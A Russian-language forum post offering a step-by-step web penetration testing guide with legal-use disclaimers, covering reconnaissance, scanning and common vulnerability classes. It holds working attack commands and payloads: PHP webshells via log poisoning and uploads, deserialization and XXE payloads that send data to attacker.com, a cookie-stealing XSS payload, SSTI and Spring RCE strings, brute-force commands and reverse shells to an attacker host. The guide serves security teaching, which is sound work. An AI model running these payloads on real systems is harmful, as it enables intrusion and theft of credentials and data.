Статья Пентест веба на пальцах: для новичков и слегка отбитых

  • Автор темы Автор темы ADMIN
  • Дата начала Дата начала

ADMIN

Administrator
ADMIN
Регистрация
18 Окт 1989
Сообщения
1,408
Реакции
93
Баллы
48
☑ ДЕПОЗИТ
0$
Дисклеймер. Материал носит образовательный характер и адресован специалистам по информационной безопасности, студентам профильных направлений, разработчикам и всем, кому интересно понимать, как устроена защита современных веб‑приложений. Гайд написан так, чтобы в нём разобрался человек любого уровня подготовки: от новичка, впервые открывшего Burp, до опытного инженера, который хочет освежить методологию и собрать всё в одном месте. Главная цель показать, где у веба бывают слабые места и как они устроены изнутри, чтобы эти места можно было вовремя закрыть.

Несанкционированный доступ к чужим информационным системам, распространение вредоносного ПО, нарушение работы сервисов и нарушение тайны переписки являются уголовно наказуемыми деяниями. Применяй полученные знания только на тех системах, где у тебя есть явное письменное разрешение на тестирование: собственные стенды, учебные лаборатории (HackTheBox, TryHackMe, PortSwigger Web Security Academy, Root Me), программы Bug Bounty с утверждённым скоупом, а также проекты, где ты работаешь по договору о проведении тестирования на проникновение.

Вступление​

Ниже описан рабочий процесс пентеста веб-приложений по шагам, с инструментами и примерами команд для каждого этапа. Всё описанное применяется только на системах, где у тебя есть письменное разрешение на тестирование. Bug Bounty программы, лаборатории вроде HackTheBox и PortSwigger Web Security Academy, собственные стенды. Лезть к чужим системам без согласования это статья, независимо от того, насколько благие у тебя намерения.

Шаг 1. Разведка: узнаём, с чем работаем​

Пассивная разведка​

Цель даже не узнает, что её изучают. Стоит начать с простого. Погуглить компанию, посмотреть на их сайт, изучить, что они про себя пишут. Заглянуть в LinkedIn сотрудников, особенно разработчиков и devops инженеров, потому что они часто упоминают технологии в резюме. Это бесплатная карта технологического стека.

Дальше идут специализированные штуки. Через сервис crt.sh можно получить все сертификаты, выданные для домена, и там всплывают поддомены, о которых сама компания уже забыла (типа легаси). Архивы вроде Wayback Machine показывают, как сайт выглядел годы назад, и иногда старые версии раскрывают пути к API или забытые эндпоинты. Shodan и Censys позволяют искать серверы по отпечаткам технологий, версиям софта, сертификатам.

Примеры команд для поиска поддоменов:

# amass в пассивном режиме (без прямых запросов к цели)
amass enum -passive -d target.com -o amass_passive.txt

# subfinder, быстрый и с большим набором источников
subfinder -d target.com -all -silent -o subfinder.txt

# assetfinder, простой и быстрый
assetfinder --subs-only target.com > assetfinder.txt

# Получение поддоменов через crt.sh одной командой
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Объединение результатов всех инструментов
cat amass_passive.txt subfinder.txt assetfinder.txt | sort -u > all_subs.txt

# Поиск по архиву Wayback
waybackurls target.com > wayback_urls.txt
gau target.com >> wayback_urls.txt

# theHarvester для OSINT по компании
theHarvester -d target.com -b all -l 500

Активная разведка​

Твой IP попадёт в их логи, поэтому делай это только в рамках согласованного скоупа.

Первое, что ты хочешь узнать это какие поддомены живые:

# httpx проверяет, какие хосты отвечают, и сразу собирает инфу
httpx -l all_subs.txt -sc -title -tech-detect -server -o live_hosts.txt

# Если нужна только проверка живости, без лишнего
cat all_subs.txt | httprobe -c 50 > live.txt

Дальше полезно прогнать nmap по найденным адресам. Не всегда весь трафик идёт через 80 и 443. Иногда панель администратора висит на 8080, staging окружение на 8443, а какой-нибудь забытый Jenkins на 50000.

# Быстрое сканирование всех портов через masscan
sudo masscan -p1-65535 target.com --rate=10000 -oL masscan_results.txt

# Детальное сканирование nmap с определением версий и скриптами
nmap -sV -sC -p- --min-rate=1000 -T4 target.com -oA nmap_full

# Сканирование только веб-портов с определением технологий
nmap -p 80,443,8080,8443,8000,8888 --script=http-enum,http-headers,http-title target.com

# Агрессивное сканирование, когда скоуп позволяет
nmap -A -p- -T4 target.com -oN aggressive_scan.txt

Когда у тебя есть список живых веб-хостов, нужно понять, что на них крутится:

# whatweb для определения стека технологий
whatweb -a 3 https://target.com

# Массовое определение технологий через httpx
httpx -l live.txt -tech-detect -status-code -title -server

# nuclei для поиска известных уязвимостей и мисконфигов
nuclei -l live.txt -severity medium,high,critical -o nuclei_findings.txt

Поиск скрытых путей​

Современное веб-приложение это не только то, что видно на главной. Есть админки, API, служебные файлы, старые версии страниц. Всё это нужно найти.

# ffuf, быстрый фаззер директорий
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-u https://target.com/FUZZ -mc 200,204,301,302,307,401,403 -o ffuf_dirs.json

# Рекурсивное сканирование через feroxbuster
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt \
-x php,asp,aspx,jsp,html,bak,txt,old -t 50

# gobuster, классика
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt \
-x php,html,txt -t 40 -o gobuster_out.txt

# dirsearch со встроенным списком расширений
dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js -t 40

# Поиск поддиректорий с конкретными расширениями (бэкапы, конфиги)
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt \
-u https://target.com/FUZZ -e .bak,.old,.zip,.tar.gz,.sql,.env -mc 200

Не забывай про параметры GET и POST запросов. Скрытые параметры могут вести к скрытому функционалу.

bash
# Arjun ищет скрытые параметры
arjun -u https://target.com/api/endpoint -m GET -o arjun_out.txt
arjun -u https://target.com/api/endpoint -m POST --headers "Cookie: session=abc"

# ParamSpider собирает параметры из архивов
paramspider -d target.com -o params.txt

# x8, ещё один перебиратель параметров
x8 -u https://target.com/api -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

Файл robots.txt и sitemap.xml всегда стоит смотреть руками:


Файлы .git, .env, .DS_Store, резервные копии вида index.php.bak регулярно находятся на проде:

# Проверка открытого .git
curl -s https://target.com/.git/HEAD
# Если открыт, дампим репозиторий целиком
git-dumper https://target.com/.git/ ./dump

# Проверка других стандартных утечек
for f in .env .DS_Store .svn/entries web.config backup.sql dump.sql; do
echo "Checking $f"
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/$f
done

Шаг 2. Настраиваем рабочее окружение​

Прежде чем копать уязвимости, тебе нужен прокси-перехватчик. Это твой главный инструмент, без него пентест невозможен. Стандарт это Burp Suite.

Для смешариков​

Burp Suite Community Edition бесплатный и закрывает базовые потребности, Professional стоит денег и добавляет активный сканер, Intruder без ограничений, удобные расширения. Альтернатива это OWASP ZAP (бесплатный, опенсорс) и относительно новый Caido (современный интерфейс, быстро развивается).

Настрой браузер так, чтобы весь трафик шёл через прокси. Установи сертификат CA от прокси в доверенные, иначе HTTPS не будет работать.

# Запуск Burp из командной строки
java -jar -Xmx4g burpsuite_community.jar

# Или через официальный лаунчер
burpsuite

# Запуск OWASP ZAP в headless режиме для автоматизации
zap.sh -daemon -port 8080 -host 0.0.0.0

# Прогон baseline сканера ZAP
zap-baseline.py -t https://target.com -r report.html

Параллельно держи открытый терминал для запуска сканеров и блокнот, куда записываешь всё интересное: найденные эндпоинты, странные заголовки, подозрительные ответы. Потом эта заметка превратится в отчёт.

Шаг 3. Разбор технологий: что делать, когда видишь​

Nginx​

Когда видишь Nginx, первым делом проверяй конфигурационные баги. Самое известное это off-by-slash. Если в конфиге есть директива location /static { alias /var/www/static/; }, то запрос к /static../secret.txt может увести тебя вверх по файловой системе из-за отсутствия слеша в location.

# Проверка off-by-slash вручную
curl -s "https://target.com/static../nginx.conf"

# Фаззинг алиасов и путей
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "https://target.com/static..FUZZ" -mc 200

# Проверка nginx_status
curl -s https://target.com/nginx_status
curl -s https://target.com/status

Проверь заголовки ответа, версия Nginx может подсказать известные CVE:

curl -sI https://target.com | grep -i server
nmap -sV --script=http-nginx-module-detect -p 80,443 target.com

Отдельная история это когда Nginx работает реверс-прокси перед несколькими бэкендами. Тут живут уязвимости класса HTTP Request Smuggling.

# smuggler.py для детекта десинхронизации запросов
python3 smuggler.py -u https://target.com -q

# Массовая проверка списка URL
python3 smuggler.py -u https://target.com -m all

# В Burp Pro встроен сканер через HTTP Request Smuggler plugin

Apache​

Apache имеет свою специфику. Файлы .htaccess могут быть неправильно защищены. Модуль mod_rewrite с кривыми правилами иногда создаёт дыры. Версии до 2.4.49 страдали от знаменитого Path Traversal (CVE-2021-41773).

# Проверка CVE-2021-41773 (Path Traversal в Apache 2.4.49)
curl --path-as-is -s "https://target.com/cgi-bin/../../../etc/passwd"

# Проверка CVE-2021-42013 (развитие предыдущей)
curl --path-as-is -s "https://target.com/cgi-bin/.%2e/%2e%2e/etc/passwd"

# Поиск уязвимых версий через nuclei
nuclei -u https://target.com -t cves/2021/CVE-2021-41773.yaml

Смотри расширения файлов. Apache понимает множественные расширения, и файл shell.php.jpg может быть выполнен как PHP, если mod_mime настроен неправильно. При аплоаде файлов это открывает дорогу к RCE.

PHP​

PHP это огромный мир уязвимостей. Если видишь расширение .php в URL или определил PHP по заголовкам, открывай набор специфических проверок.

Первое это Local File Inclusion. Если есть параметр вида ?page=about, и страница подтягивается через include, подставь ?page=../../../../etc/passwd и посмотри на реакцию.

# Базовая проверка LFI
curl -s "https://target.com/index.php?page=../../../../etc/passwd"

# Через PHP filter для чтения исходников в base64
curl -s "https://target.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | \
grep -o 'PD9waH[A-Za-z0-9+/=]*' | base64 -d

# Автоматический фаззинг LFI
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "https://target.com/index.php?page=FUZZ" -mr "root:"

# LFISuite для автоматизации эксплуатации
python lfisuite.py -u "https://target.com/index.php?page=FILE"

Из LFI часто делают RCE. Если можешь контролировать содержимое какого-то файла на сервере (лог Apache, сессионный файл, временный файл), включай его через LFI и получаешь выполнение кода:

# Классика: log poisoning через User-Agent
curl -s "https://target.com/" -H 'User-Agent: <?php system($_GET["cmd"]); ?>'
curl -s "https://target.com/index.php?page=/var/log/apache2/access.log&cmd=id"

# RCE через session.upload_progress
python3 phpSessionLFIRCE.py -u https://target.com -lfi "/index.php?page="

Загрузка файлов это отдельный источник боли для разработчиков:

# Базовый тест загрузки PHP с обходом через двойное расширение
curl -X POST https://target.com/upload.php \
-F "[email protected]" -F "submit=Upload"

# Проверка альтернативных расширений
for ext in phtml php3 php4 php5 php7 pht phar; do
cp shell.php shell.$ext
curl -X POST https://target.com/upload.php -F "file=@shell.$ext"
done

# Магические байты для обхода проверки типа
echo -e "\xff\xd8\xff\xe0<?php system(\$_GET['c']); ?>" > shell.php

Десериализация в PHP это высокая магия. Если приложение принимает сериализованные данные от пользователя через функцию unserialize, ты можешь построить цепочку гаджетов (POP-chain) и получить RCE.

# PHPGGC генерирует готовые цепочки под популярные фреймворки
phpggc Laravel/RCE9 system id
phpggc Symfony/RCE4 system id -b # base64-encoded
phpggc -l # список всех доступных цепочек

# Использование сгенерированного пейлоада
payload=$(phpggc Laravel/RCE9 system id -u)
curl "https://target.com/?data=$payload"

WordPress​

Если видишь WordPress, первым делом запускай wpscan:

# Базовое сканирование
wpscan --url https://target.com --api-token YOUR_TOKEN

# Агрессивное, с перечислением всего
wpscan --url https://target.com --enumerate ap,at,cb,dbe,u,m --plugins-detection aggressive

# Брутфорс пользователей
wpscan --url https://target.com --passwords /usr/share/wordlists/rockyou.txt \
--usernames admin,editor --max-threads 20

# Проверка утечек через wp-json
curl -s https://target.com/wp-json/wp/v2/users | jq
curl -s https://target.com/?rest_route=/wp/v2/users

Эндпоинт xmlrpc.php может использоваться для брутфорса паролей и амплификации DDoS:

# Проверка, активен ли xmlrpc
curl -X POST https://target.com/xmlrpc.php -d "<methodCall><methodName>system.listMethods</methodName></methodCall>"

Node.js и JavaScript фронтенды​

С Node.js ты часто встречаешь JSON API и одностраничные приложения на React, Vue, Angular. Здесь фокус смещается. Анализируй JavaScript код прямо в браузере, он открыт для чтения.

# LinkFinder вытаскивает эндпоинты из JS-бандлов
python linkfinder.py -i https://target.com/main.js -o cli

# Массовый анализ всех JS на сайте
python linkfinder.py -i https://target.com -d -o results.html

# SecretFinder ищет секреты и ключи в JS
python SecretFinder.py -i https://target.com/static/main.js -o cli

# jsluice, современный анализатор JS
jsluice urls main.js
jsluice secrets main.js

# Поиск ключей AWS, токенов в скачанных JS
trufflehog filesystem ./downloaded_js/

Проверяй, не светятся ли в бандле секреты. Ключи AWS, токены API, URL внутренних сервисов часто залетают в прод случайно.

Java приложения и Spring​

Java это уже корпоративный сегмент. Если видишь .jsp, .do, .action в URL, или заголовок сервера намекает на Tomcat, WebLogic, JBoss это Java.

# ysoserial для генерации пейлоадов десериализации
java -jar ysoserial.jar CommonsCollections5 "curl http://attacker.com/?$(whoami)" > payload.bin

# Список доступных гаджетов
java -jar ysoserial.jar --help

# Отправка пейлоада в уязвимый эндпоинт
curl -X POST https://target.com/api/endpoint \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin

Spring Boot часто оставляет открытыми эндпоинты Actuator на /actuator:

# Проверка открытых Actuator эндпоинтов
for ep in env heapdump trace mappings beans configprops loggers threaddump gateway; do
echo -n "$ep: "
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/actuator/$ep
done

# Скачивание heapdump, там могут быть пароли в памяти
curl -o heap.bin https://target.com/actuator/heapdump
strings heap.bin | grep -iE "password|secret|token|api_key"

# CVE-2022-22947 (Spring Cloud Gateway RCE)
curl -X POST https://target.com/actuator/gateway/routes/hacktest \
-H "Content-Type: application/json" \
-d '{"id":"hacktest","filters":[{"name":"AddResponseHeader","args":{"name":"Result","value":"#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"}}]}'

Шаг 4. Основные уязвимости и как их искать​

SQL Injection​

Классика, которая живёт уже три десятилетия и не собирается умирать. Суть в том, что пользовательский ввод напрямую попадает в SQL-запрос, и ты можешь сломать синтаксис или подклеить свои команды.

Лучше начать с ручной проверки. Подставляй одинарную кавычку в параметры. Если приложение отдаёт 500 ошибку или странный ответ уже интересно.

# Сохраняем запрос из Burp в файл (в Burp: Copy to file)

# Базовый запуск sqlmap
sqlmap -r request.txt --batch --level=5 --risk=3

# Определение БД и версии
sqlmap -r request.txt --fingerprint --banner

# Дамп всех баз
sqlmap -r request.txt --dbs

# Дамп конкретной таблицы
sqlmap -r request.txt -D target_db -T users --dump

# Чтение файлов с сервера (если есть привилегии)
sqlmap -r request.txt --file-read=/etc/passwd

# Получение шелла (работает не всегда, но попытаться стоит)
sqlmap -r request.txt --os-shell
sqlmap -r request.txt --os-pwn

# Обход WAF через тамперы
sqlmap -r request.txt --tamper=space2comment,charencode,randomcase --random-agent

# Только определённый параметр
sqlmap -r request.txt -p username --technique=BEUSTQ

Для NoSQL баз есть свой инструмент:

# NoSQLMap для MongoDB и других NoSQL
python nosqlmap.py

# Ручная проверка MongoDB инъекций
curl -X POST https://target.com/login -H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'

XSS: Cross-Site Scripting​

Reflected это когда твой ввод отражается в ответе без санитайзинга.

# dalfox, мощный сканер XSS
dalfox url https://target.com/search?q=test
dalfox url https://target.com/search?q=test --custom-payload xss.txt -o results.txt

# Массовое сканирование
cat urls.txt | dalfox pipe --blind https://xss.report/c/yourid

# Работа через Burp proxy
dalfox url https://target.com/search?q=test --proxy http://127.0.0.1:8080

# KNOXSS (коммерческий, но очень эффективный)
curl https://api.knoxss.pro -d "target=https://target.com/search?q=XSS" -H "X-API-KEY: your_key"

# XSStrike, ещё один сканер с умным анализом контекста
python xsstrike.py -u "https://target.com/search?q=test"
python xsstrike.py -u "https://target.com/page" --data "name=test&email=[email protected]" --crawl

Для blind XSS, когда пейлоад срабатывает где-то в админке:

# Классический пейлоад с XSS Hunter (свой инстанс)
<script src="https://your-xsshunter.com/abc"></script>

# Пейлоад для отправки кук на свой webhook
<img src=x onerror="fetch('https://webhook.site/your-id?c='+document.cookie)">

SSRF: Server-Side Request Forgery​

SSRF это когда ты заставляешь сервер делать запросы от своего имени. Функционал предпросмотра ссылок, импорта URL, загрузки аватарки по ссылке, генерации PDF из HTML это всё кандидаты на SSRF.

# Получение уникального URL через interactsh
interactsh-client
# Получаешь URL вида abc123.oast.pro, подставляешь в параметр

# Проверка доступа к AWS metadata
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/"
curl "https://target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# GCP metadata
curl "https://target.com/fetch?url=http://metadata.google.internal/computeMetadata/v1/"

# Обходы фильтров через разные нотации IP
# Десятичная форма 127.0.0.1
curl "https://target.com/fetch?url=http://2130706433/"
# С нулями
curl "https://target.com/fetch?url=http://127.000.000.001/"
# Через DNS rebinding (сервисы вроде rbndr.us)
curl "https://target.com/fetch?url=http://7f000001.c0a80001.rbndr.us/"

# SSRFmap автоматизирует эксплуатацию
python ssrfmap.py -r request.txt -p url -m readfiles,portscan,aws,redis
python ssrfmap.py -r request.txt -p url -m portscan --lhost=127.0.0.1 --lport=80-10000

# Gopherus генерирует gopher:// пейлоады для атак на внутренние сервисы
python gopherus.py --exploit redis
python gopherus.py --exploit mysql

Path Traversal​

Path Traversal это выход за пределы разрешённой директории.

# Классический фаззинг через ffuf
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u "https://target.com/download?file=FUZZ" -mr "root:"

# wfuzz, альтернатива
wfuzz -c -z file,/usr/share/wordlists/lfi.txt \
--hh 4242 "https://target.com/download?file=FUZZ"

# dotdotpwn для автоматизации
dotdotpwn.pl -m http -h target.com -M GET -o unix -d 8 -f /etc/passwd -k "root:"

IDOR: Insecure Direct Object References​

IDOR это когда приложение даёт тебе доступ к объекту по идентификатору, но не проверяет, что объект действительно твой. Меняешь id=123 на id=124 и видишь чужие данные.

# Перебор идентификаторов через ffuf
ffuf -w numbers.txt -u "https://target.com/api/users/FUZZ" \
-H "Cookie: session=YOUR_SESSION" -fc 403,404

# Создание списка числовых ID
seq 1 10000 > numbers.txt

# Сравнение длины ответов для выявления аномалий
ffuf -w numbers.txt -u "https://target.com/api/orders/FUZZ" \
-H "Cookie: session=USER1_SESSION" -o idor_results.json -of json

# autorize (расширение для Burp) делает это автоматически
# Настраиваешь две сессии, оно показывает, что доступно кому не должно быть

CSRF: Cross-Site Request Forgery​

CSRF это когда ты заставляешь браузер жертвы сделать запрос к приложению, где она авторизована, без её ведома.

# Генерация PoC через Burp: Engagement tools -> Generate CSRF PoC

# Ручной пример HTML для теста
cat > csrf_poc.html <<EOF
<html><body>
<form action="https://target.com/account/email" method="POST">
<input type="hidden" name="email" value="[email protected]">
<input type="submit">
</form>
<script>document.forms[0].submit();</script>
</body></html>
EOF

Проверяй, что токен реально валидируется. Убери параметр csrf_token из запроса и отправь. Замени значение токена на пустое. Подставь токен от другого пользователя. Если хоть один вариант прошёл, защита сломана.

XXE: XML External Entity
Когда приложение парсит XML от пользователя (SOAP API, SAML, парсинг документов, SVG), проверяй XXE.

# Базовый пейлоад чтения файла
cat > xxe_payload.xml <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
EOF

curl -X POST https://target.com/api/xml \
-H "Content-Type: application/xml" --data @xxe_payload.xml

# Blind XXE через внешний DTD
cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfil;
EOF

# Запускаем HTTP сервер с этим DTD
python3 -m http.server 8000

# Отправляем пейлоад, который загружает наш DTD
cat > blind_xxe.xml <<EOF
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com:8000/evil.dtd"> %xxe;]>
<foo>bar</foo>
EOF

SSTI: Server-Side Template Injection​

Когда приложение рендерит пользовательский ввод через шаблонизатор, это SSTI.

# tplmap автоматизирует детект и эксплуатацию
python tplmap.py -u "https://target.com/page?name=john"
python tplmap.py -u "https://target.com/page" -d "name=john" --os-shell

# Ручные проверки по движкам
# Jinja2 (Python)
curl "https://target.com/?name={{7*7}}"
curl "https://target.com/?name={{config}}"
curl "https://target.com/?name={{''.__class__.__mro__[1].__subclasses__()}}"

# Twig (PHP)
curl "https://target.com/?name={{7*7}}"
curl "https://target.com/?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Freemarker (Java)
curl "https://target.com/?name=<#assign ex='freemarker.template.utility.Execute'?new()>\${ex('id')}"

Аутентификация и сессии​

JWT (JSON Web Token) - это компактный токен в формате строки, которым сервер подтверждает личность пользователя и передаёт о нём данные, защищая всё это подписью от подделки. JWT с алгоритмом none или слабым секретом это частая находка:

# jwt_tool, комбайн для атак на JWT
python3 jwt_tool.py <JWT> -T # тамперинг токена
python3 jwt_tool.py <JWT> -X a # атака через alg=none
python3 jwt_tool.py <JWT> -X k # kid injection
python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt # брутфорс секрета
python3 jwt_tool.py <JWT> -X s -pk attacker_pub.pem # JWK injection

# Брутфорс секрета через hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Брутфорс форм логина:

# hydra для классических форм
hydra -L users.txt -P passwords.txt target.com https-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"

# ffuf для произвольных API
ffuf -w passwords.txt -u https://target.com/api/login -X POST \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"FUZZ"}' \
-mr "success"

Race Conditions​

Состояние гонки это когда ты делаешь две операции одновременно, и проверка, которая должна защищать одну из них, не успевает сработать.

# Turbo Intruder (расширение Burp) главный инструмент для гонок
# В Burp: правой кнопкой на запрос -> Extensions -> Turbo Intruder -> Send to...
# Использует race-single-packet-attack.py для синхронизации

# race-the-web, отдельная утилита
race-the-web config.yml

# Ручной тест через xargs и curl
seq 1 30 | xargs -P 30 -I {} curl -s -X POST https://target.com/redeem \
-H "Cookie: session=abc" -d "coupon=SAVE50"

Бизнес-логика​

Это самая творческая часть пентеста. Сканер сюда не полезет, потому что это не технический баг, а ошибка в понимании, как должно работать приложение. Можно ли оформить отрицательный возврат и получить деньги? Примет ли корзина отрицательное количество товара? Можно ли применить скидочный купон дважды?

Эти баги находятся внимательным изучением функционала и тщательной проверкой того, что граничные значения обрабатываются корректно. Автоматики нет, есть только Burp Repeater и смекалка.

Шаг 5. После того, как нашёл вход​

Найти уязвимость это половина дела. Показать impact вторая половина.

Если получил RCE, не спеши бросать reverse shell. Сначала подумай про скоуп.

# На атакере слушаем входящее соединение
nc -lvnp 4444

# На цели разные варианты реверс-шелла
bash -i >& /dev/tcp/attacker.com/4444 0>&1
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("attacker.com",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
php -r '$s=fsockopen("attacker.com",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Стабилизация шелла после подключения
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Нажать Ctrl+Z, на атакере: stty raw -echo; fg; reset
export TERM=xterm

Разведка привилегий и векторов эскалации:

# linpeas на Linux
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# linux-smart-enumeration, альтернатива
./lse.sh -l 2

# Быстрые ручные проверки
id && whoami
sudo -l
find / -perm -u=s -type f 2>/dev/null # SUID бинари
getcap -r / 2>/dev/null # capabilities
cat /etc/crontab
ls -la /etc/cron.d/

Шаг 6. Отчёт​

Отчёт это продукт пентеста. Клиент платит не за найденные баги, а за то, чтобы их починили, и отчёт главный инструмент для этого.

Хороший отчёт начинается с executive summary на одну страницу для менеджмента. Там простым языком описано, что вы проверили, что нашли, насколько всё плохо, что делать дальше. Без технических деталей, но с ясным месседжем.

Дальше идёт техническая часть. Каждая уязвимость оформляется по шаблону. Название и категория. Описание сути простым языком. Шаги воспроизведения, настолько детальные, чтобы разработчик смог повторить. Скриншоты запросов и ответов. Оценка серьёзности по CVSS или внутренней шкале. Рекомендации по исправлению, конкретные, не "валидируйте ввод", а "используйте параметризованные запросы через PDO".

# CVSS калькулятор в консоли
pip install cvsslib
cvsscalc "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"

# Генерация отчётов через sysreptor, open-source платформа
bash <(curl -s https://docs.sysreptor.com/install.sh) # Дальше по мануалу
# Дальше через веб-интерфейс

# Faraday для совместной работы команды и агрегации находок
faraday-server
faraday-client

Завершается отчёт общими рекомендациями по улучшению процессов безопасности и повторным тестированием после исправлений.

Напоследок​

Если коротко: веб-пентест это разведка плюс терпение плюс системный подход. Инструменты из этого гайда покрывают процентов восемьдесят повседневных задач, остальное добирается опытом и насмотренностью. Чем больше реальных приложений ты проанализируешь на легальных стендах и Bug Bounty программах, тем быстрее научишься замечать паттерны уязвимостей с первого взгляда.

Не нужно гнаться за громкими CVE, не стоит пропускать скучные проверки вроде IDOR и логических багов, стоит вести заметки и писать понятные отчёты. Это нудные привычки, но именно они отличают хорошего специалиста от того, кто просто умеет запускать sqlmap. Удачи в исследованиях и помни, главное правило одно: ломай только то, на что у тебя есть разрешение.
 
Автоматический гарант это финансовая безопасность: Покупатель может быть уверен, что его деньги не попадут к продавцу до того, как он получит и проверит товар или услугу. Продавец, в свою очередь, защищен от не оплаты, так как гарант подтверждает наличие средств у покупателя до начала выполнения обязательств.
Назад
Сверху